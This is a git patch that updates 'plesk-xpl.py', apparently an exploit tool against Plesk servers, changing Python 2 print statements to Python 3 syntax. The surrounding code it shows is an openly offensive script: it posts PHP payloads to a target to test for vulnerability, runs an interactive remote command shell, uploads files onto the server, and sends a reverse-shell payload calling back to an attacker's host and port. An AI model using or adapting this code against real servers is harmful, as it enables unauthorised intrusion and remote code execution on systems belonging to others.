From ff1cd3d8c2b1be60d43351db3c1b22cb9d4393b1 Mon Sep 17 00:00:00 2001 From: Jai Raj kumar <87121378+JaiRaj22@users.noreply.github.com> Date: Sat, 19 Feb 2022 18:42:28 +0530 Subject: [PATCH] Brackets around print statement Added brackets around print statement. My file was legit giving syntax error without the brackets so when i added the brackets, the error was gone. --- plesk-xpl.py | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/plesk-xpl.py b/plesk-xpl.py index 6524b0d..2aef7dd 100755 --- a/plesk-xpl.py +++ b/plesk-xpl.py @@ -82,31 +82,31 @@ def test(url): # This whole function is ugly as sin php = """""" # I hope they even md5 haxor = requests.post(url, php) # hahaha no, they dont. if "44e902a5aa760d79b76e070fa6725386" in haxor.text: # hax0r it na0? - print "%s vuln!" %(ip) # yes, this ddos number is wide open + print ("%s vuln!" %(ip)) # yes, this ddos number is wide open else: - print "%s not vuln" %(ip) + print ("%s not vuln" %(ip)) def shell(): while True: # because. infinite win try: # there is no try, there is only do, and do not... cmd = raw_input("shell:~$ ") if cmd == "quit": #rip - print "\n[-] Quitting" + print ("\n[-] Quitting") sys.exit(0) elif cmd == "exit": #rip - print "\n[-] Quitting" + print ("\n[-] Quitting") sys.exit(0) else: try: payload = genphp(cmd) hax = requests.post(url, payload) - print hax.text + print (hax.text) except Exception or KeyboardInterrupt: - print "[-] Exception Caught, I hope" + print ("[-] Exception Caught, I hope") sys.exit(-5) # why the fork is it minus five anyway? except Exception or KeyboardInterrupt: - print "[-] Exception or CTRL+C Caught, I hope" - print "[-] Exiting (hopefully) cleanly..." + print ("[-] Exception or CTRL+C Caught, I hope") + print ("[-] Exiting (hopefully) cleanly...") sys.exit(0) def upload(url, localfile, remotefile): @@ -119,22 +119,22 @@ def upload(url, localfile, remotefile): fwrite($f, "$x"); fclose($f); ?>""" %(remotefile, encodedfiledata) # I need to add a hashing function sometime for corruption test. - print "[+] Uploading File" + print ("[+] Uploading File") requests.post(url, phppayload) # this is why I love the python requests library - print "[+] Upload should be complete" + print ("[+] Upload should be complete") sys.exit(0) def rshell(): rshell = genrshell(lhost, lport, stype) - print "[+] Generating Payload" + print ("[+] Generating Payload") payload = genencphp(rshell) - print "[+] Sending reverse shell to %s:%s" %(lhost, lport) + print ("[+] Sending reverse shell to %s:%s" %(lhost, lport)) requests.post(url, payload) # lolhax! - print "[<3] Exiting..." + print ("[<3] Exiting...") sys.exit(0) def main(target, mode): # do magic - print "[+] Target is: %s" %(target) + print ("[+] Target is: %s" %(target)) if mode == "UP": upload(url, localfile, remotefile) elif mode == "SH": @@ -142,7 +142,7 @@ def main(target, mode): # do magic elif mode == "RSH": rshell() else: - print "[-] Mode Invalid... Exit!" + print ("[-] Mode Invalid... Exit!") sys.exit(0) main(target, mode)